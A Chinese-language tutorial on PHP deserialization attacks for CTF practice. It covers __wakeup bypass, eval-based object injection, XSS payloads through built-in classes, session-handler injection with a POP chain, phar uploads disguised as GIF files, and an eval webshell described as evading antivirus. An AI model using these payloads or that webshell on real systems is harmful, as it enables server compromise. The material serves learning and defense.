序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象
类型 | 过程 |
---|---|
序列化 | 对象—> 字符串 |
反序列化 | 字符串—>对象 |
对象的序列化利于对象的 保存和传输 ,也可以让多个文件共享对象。ctf很多题型也都是考察PHP反序列化的相关知识。
序列化函数serialize()
首先我创一个Ctf类 里面写了三个属性 后创建了一个ctfer对象 将Ctf类里的信息进行了改变。如果后面还要用到这个对象,就可以先将这个对象进行实例化。用的时候在反序列化出来就ok了。
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
}
$ctfer=new Ctf(); //实例化一个对象
$ctfer->flag='flag{adedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18'
echo serialize($ctfer);
?>
//输出结果
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象,因为我们序列化的是一个对象;序列化数组的话则用A来表示
3代表类的名字长三个字符
Ctf 是类名
3代表这个类里有三个属性(三个变量)
s代表字符串
4代表属性名的长度
flag是属性名
s:13:"flag{adedyui}" 字符串,属性长度,属性值
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()
。如果存在,__sleep()
方法会先被调用,然后才执行序列化操作。
可以在__sleep()
方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性
实例:
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
public function __sleep(){
return array('flag','age');
}
}
$ctfer=new Ctf();
$ctfer->flag='flag{abedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18'
echo serialize($ctfer);
?>
// 输出结果
O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}
即__sleep()
方法使 flag age 属性序列化,而name并没有被序列化。所以可以在__sleep()
方法里决定哪些属性被序列化。
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下
public(公有)
protected(受保护) // %00*%00属性名
private(私有的) // %00类名%00属性名
protected属性被序列化的时候属性值会变成 %00*%00属性名
private属性被序列化的时候属性值会变成 %00类名%00属性名
(%00为空白符,空字符也有长度,一个空字符长度为 1)
实例:
class Ctf{
public $name='Sch0lar';
protected $age='19';
private $flag='get flag';
}
$ctfer=new Ctf(); //实例化一个对象
echo serialize($ctfer);
?>
//输出结果
O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}
可以看到
s:6:"*age" //*前后出现两个空白符,一个空白符长度为1,所以序列化后,该属性长度为6
s:9:"Ctfflag" //类名Ctf前后出现两个%00空白符,所以长度为9
反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
}
$ctfer=new Ctf(); //实例化一个对象
$ctfer->flag='flag{adedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18'
$str=serialize($ctfer);
echo ''
;
var_dump(unserialize($str))
?>
//输出结果
object(Ctf)#2 (3) {
["flag"]=>
string(13) "flag{abedyui}"
["name"]=>
string(7) "Sch0lar"
["age"]=>
string(2) "18"
}
与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup
魔术方法
如果存在则会先调用__wakeup()
方法,再进行序列化
可以在__wakeup()
方法中对属性进行初始化、赋值或者改变。
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
public function __wakeup(){
$this->flag='no flag'; //在反序列化时,flag属性将被改变为“no flag”
}
}
$ctfer=new Ctf(); //实例化一个对象
$ctfer->flag='flag{adedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18'
$str=serialize($ctfer);
echo ''
;
var_dump(unserialize($str));
?>
反序列化之前重新给flag属性赋值
// 输出结果
object(Ctf)#2 (3) {
["flag"]=>
string(13) "no flag"
["name"]=>
string(7) "Sch0lar"
["age"]=>
string(2) "18"
}
面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。
漏洞触发条件: unserialize函数的参数、变量可控,php文件中存在可利用的类,类中有魔术方法
魔术方法:
__construct() 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。
__destruct() 当一个对象销毁(反序列化)时被调用
__toString() 当一个对象被当作一个字符串使用时被调用
__sleep() 在对象在被序列化之前立即运行
__wakeup() 将在序列化之后立即被调用
而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
一个CVE漏洞,编号CVE-2016-7124
先介绍下两个魔法函数wakeup() 和sleep()
unserialize() 执行时会检查是否存在一个 wakeup() 方法。 如果存在,则会先调用 wakeup方法,预先准备对象需要的资源。wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
sleep()则相反,是用在序列化一个对象时被调用
将在序列化之后立即被调用
当序列化字符串表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行。这个大家应该都知道很常见的姿势了。为了直观一点找了些考察反序列化的ctf。
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
把1写成2 达到绕过wakeup()效果 拿到flag,这是因为当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行,
图中序列化后字符串中表示对象属性个数为2,而真实的类中实际只有1个属性,这是就会跳过__wakeup的执行。
当一个对象被销毁时被调用
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['a']);
?>
要让eval($this->var);
执行我们的恶意代码,我们就需要修改属性$var
的值。接下来构造序列化数据:
$obj = new Example();
$obj->var='phpinfo()';
var_dump(serialize($obj));
得
O:7:"Example":1:{s:3:"var";s:9:"phpinfo()";}
反序列化后在脚本运行结束时就会调用__destruct函数,同时会覆盖$var变量输出执行eval(phpinfo()):
与上题原理相似
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
以上代码就相当于
直接菜刀链接:
安全狗:
此木马毕竟是跟正常文件太像,所以免杀效果很不错。
本节围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何? N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;
应该显示些什么。此方法必须返回一个字符串。
__toString当对象被当作一个字符串使用时候调用(不仅仅是echo
的时候,比如file_exists()判断也会触发)
适用于php7版本
Error类就是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法。如果有个pop链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用
echo 一个反序列化以后得到的类
的写法,前文说了当对象被当作一个字符串使用时候调用(如echo
的时候)会触发__toString方法,这是一种挖洞的新思路(对我而言)。
XSS
开启报错的情况下:
测试代码:
$a = unserialize($_GET['yds']);
echo $a; // 这里echo了一个反序列化以后得到的类
?>
仅看到是一个反序列化,但是不知道类啊,这就遇到了一个反序列化但没有pop链的情况,所以只能找到php内置类来进行反序列化
exp:
$a = new Error("");
$b = serialize($a);
echo urlencode($b);
?>
//得:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D 这就是生成的 urlencode($b)
则在URL中令
/?yds=O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
适用于php5、7版本
这个类利用的方式和原理和Error 类一模一样,但是适用于php5和php7,相对之下更加好用。
XSS
开启报错的情况下:
测试代码:
$a = unserialize($_GET['yds']);
echo $a; // 这里echo了一个反序列化以后得到的类
?>
仅看到是一个反序列化,但是不知道类啊,这就遇到了一个反序列化但没有pop链的情况,所以只能找到php内置类来进行反序列化
exp:
$a = new Exception("");
echo urlencode(serialize($a));
?>
//得:O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
echo unserialize($c);
则我们在url中令:
/?yds=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
并成功alert
在php.ini中存在三项配置项:
session.save_path=""
--设置session的存储路径session.save_handler=""
–设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)session.auto_start boolen
--指定会话模块是否在请求开始时启动一个会话,默认为0不启动session.serialize_handler string
–定义用来序列化/反序列化的处理器名字。默认使用php (php<5.5.4)以上的选项就是与PHP中的Session 存储 和 序列化存储 有关的选项。
在使用xampp组件安装中,上述的配置项的设置如下:
session.save_path="D:\xampp\tmp"
表明所有的session文件都是存储在xampp/tmp下session.save_handler=files
表明session是以文件的方式来进行存储的session.auto_start=0
表明默认不启动sessionsession.serialize_handler=php
表明session的默认序列化引擎使用的是php序列话引擎在上述的配置中,session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
引擎 | session存储方式 |
---|---|
php(php<5.5.4) | 存储方式是,键名+竖线| +经过serialize()函数序列处理的值(只序列化值) |
php_serialize(php>5.5.4) | 存储方式是,经过serialize()函数序列化处理的键和值(将session中的key和value都会进行序列化) |
php_binary | 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 |
在PHP (php<5.5.4) 中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎名');
进行设置。
示例代码如下:
ini_set('session.serialize_handler', 'php_serialize'); //设置序列化引擎使用php_serialize
session_start();
// do something
......
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid(PHPSESSID)来进行命名的,文件的内容就是session值经过serialize()函数序列化之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
在默认配置情况下(在php引擎下:):
session_start() // session_start()会创建新会话或者重用现有会话
$_SESSION['name'] = 'spoock';
var_dump();
?>
最后的session的存储和显示如下:
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,所以在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";
。name是键值,s:6:"spoock";
是serialize("spoock")
的结果(php引擎方式存储:键名+竖线 |+经过serialize()函数序列处理的值)。
在php_serialize引擎下:
ini_set('session.serialize_handler', 'php_serialize'); // 设置序列化引擎使用php_serialize
session_start(); // 启动新会话或者重用现有会话
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}
。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key(键)和value(值)都会进行序列化。
在php_binary引擎下:
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是names:6:"spoock";
。由于name的长度是4,4在ASCII表中对应的就是EOT(这个)。根据php_binary的存储规则,最后就是names:6:"spoock";
。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
class syclover{
var $func="";
function __construct() { // __construct()在实例化是被调用
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>
在11行对传入的参数进行了反序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}
。
那么反序列化得到的内容是:
object(syclover)[1]
public 'func' => string 'echo "spoock";' (length=14)
**最后页面输出的就是spoock,说明最后执行了我们定义的echo “spoock”;方法。**这就是一个简单的序列化的漏洞的演示
PHP中的Session的实现是没有的问题的,危害主要是由于程序员的Session使用不当而引起的。
**如果设置的session序列化选择器与默认的不同的话就可能会产生漏洞(会导致数据无法正确的反序列化)。**通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION['spoock'] = '|O:11:"PeopleClass":0:{}';
上述的$_SESSION的数据如果使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}
。
但是我们在进行读取的时候,如果选择的是php,那么最后读取的内容是:
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
这是因为当使用php引擎的时候,php引擎会以竖杠 | 作为作为key(键)和value(值)的分隔符,那么就会将a:1:{s:6:“spoock”;s:24:"作为SESSION的key(键),将O:11:“PeopleClass”:0:{}作为value(值),然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
存在s1.php和us2.php这两个文件,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞。
s1.php,使用php_serialize来处理session
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
us2.php,使用php来处理session
ini_set('session.serialize_handler', 'php');`localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}`
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
// O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此题在s1.php中有可以传入session的点,所以就不用构造表单了,这题的突破点在哪里,没错,就是我备注的那块s2.php中ini_set('session.serialize_handler', 'php');
,选择session序列化处理器。
当访问s1.php时,提交如下的数据并存储到session文件中:
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时传入的数据会按照php_serialize来进行序列化,由s2.php读取时按照php来反序列化。
O:5:“lemon”:1:{s:2:“hi”;s:14:“echo “spoock”;”;}由以下序列化来得到,在加上一个竖杠 |
就行了
class lemon
{
public $hi='xxxxx';
}
$obj = new lemon();
echo serialize($obj);
?>
xxxxx处按照你想执行的代码来填写,这里填的是echo "spoock
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){ // 类被当作字符串时被调用
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}
?>
index.php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
通过代码发现,我们最终是要通过foo3中的execute()来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php
class foo3{
public $varr='echo "spoock";';
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute(); // 此时obj是foo3的一个实例对象
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2(); // 此时varr是foo2的一个实例对象
}
}
// 这样通过在这两个类中分别实例化下一个类中的对象,将三个类衔接起来了
$obj = new foo1();
print_r(serialize($obj));
?>
在foo1中的构造函数中定义$varr
的值为foo2的实例,在foo2中定义$obj
为foo3的实例,在foo3中定义$varr
的值为echo “spoock”。最终得到的序列化的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo “spoock”;的方法了。因为题中session_start();表示创建或重用已有的session,我们把存在漏洞的session写入到服务器端,然后再访问服务器的index.php,index.php会重用服务器中那个已有的存在漏洞的session。
此题没有可以反序列化的点,没有可以传入session的点,那么我们怎么改变或传入session呢。写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果同时POST一个与与INI中PHP_SESSION_UPLOAD_PROGRESS同名的变量,当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据,即就可以将filename的值赋值到session中,所以可以通过Session Upload Progress来设置session。由phpinfo()页面知,session.upload_progress.enabled为On,那么上传的页面的写法如下:
<form action="http://xxxxxx:port/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
利用前面的html页面随便上传一个东西,抓包,在包中把filename改为如下:
|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}
为防止转义,在引号前加上反斜杠\。最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
注意与本地反序列化不一样的地方是要在最前方加上| ,因为这是php引擎的格式。
参考:https://www.jb51.net/article/107101.htm
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
,zlib://
或php://
。这些操作通常用于远程文件,攻击者可以在其中控制文件包含完整的文件路径。
例如常见的
include($_GET['file'])
include('php://filter/convert.base64-encode/resource=index.php');
include('data://text/plain;base64,cGhwaW5mbygpCg==');
phar://
也是流包装的一种
phar://协议
可以将多个文件归入一个本地文件夹,也可以包含一个文件
phar文件
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。
phar文件结构:
xxx
。对应的函数Phar::setStub。前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。Phar内置方法
本地生成一个phar文件,要想使用Phar类里的方法来处理相关操作,必须将php.ini中的phar.readonly配置项配置为0或Off。
PHP内置phar类,其他的一些方法如下:
$phar = new Phar('sdpc.phar'); //实例一个phar对象供后续操作
$phar->startBuffering() //开始缓冲Phar写操作
$phar->setStub(""); //设置stub
$phar->addFromString('test.php','this is test file';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个fileTophar目录下的文件归档到phar档案
$phar->extractTo() //该函数解压一个phar包,extractTo()提取phar文档内容
漏洞剖析:
文件的第二部分a manifest describing the contents
可知,phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数执行的参数可控时,我们在参数部分利用Phar伪协议,可以不依赖unserialize() 直接进行反序列化操作,在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。
而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。
phar怎么用?
phar.php:
class TestObject{
}
$phar = new Phar("phar.phar"); //实例一个phar对象供后续操作
$phar -> startBuffering(); //开始缓冲对phar的写操作
$phar -> setStub(""); //设置识别phar拓展的标识stub
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o); //将自定义的归档元数据meta-data存入manifest
$phar -> addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering(); //停止缓冲对phar的写操作
?>
访问后,会生成一个phar.phar文件在当前目录下:
用winhex打开
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过 phar:// 伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
如果这时候网站有一个这样的页面:
class TestObject{
function __destruct()
{
echo $this->data;
}
}
include ('phar://phar.phar');
?>
它可以通过伪协议包含我们的phar文件,那么在包含的过程中就会进行反序列化。访问它:
输出出我们的文字
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加 任意的文件头 + 修改后缀名 的方式将phar文件伪装成其他格式的文件。基本操作:
class TestObject {
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.''); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
file_exists()
,fopen()
,file_get_contents()
,file()
,include()
等文件操作的函数:
、/
、phar
等特殊字符没有被过滤。漏洞复现环境:
upload_file.php
,后端检测文件上传,检测文件类型是否为gif,文件后缀名是否为gif
upload_file.html
,前端文件上传表单
file_un.php
,存在file_exists(),并且存在__destruct()
upload_file.php:
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
upload_file.html:
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
form>
body>
file_un.php:(存在file_exists(),并且存在__destruct(),漏洞点)
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); // 漏洞点
?>
实现过程:
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过为gif的限制,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
构造代码:
eval.php:
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
(记住这个做题步骤,以后可以直接套用)
访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
接着上传,文件会上传到upload_file目录下
然后利用file_un.php。
构造payload:
/?filename=phar://upload_file/phar.gif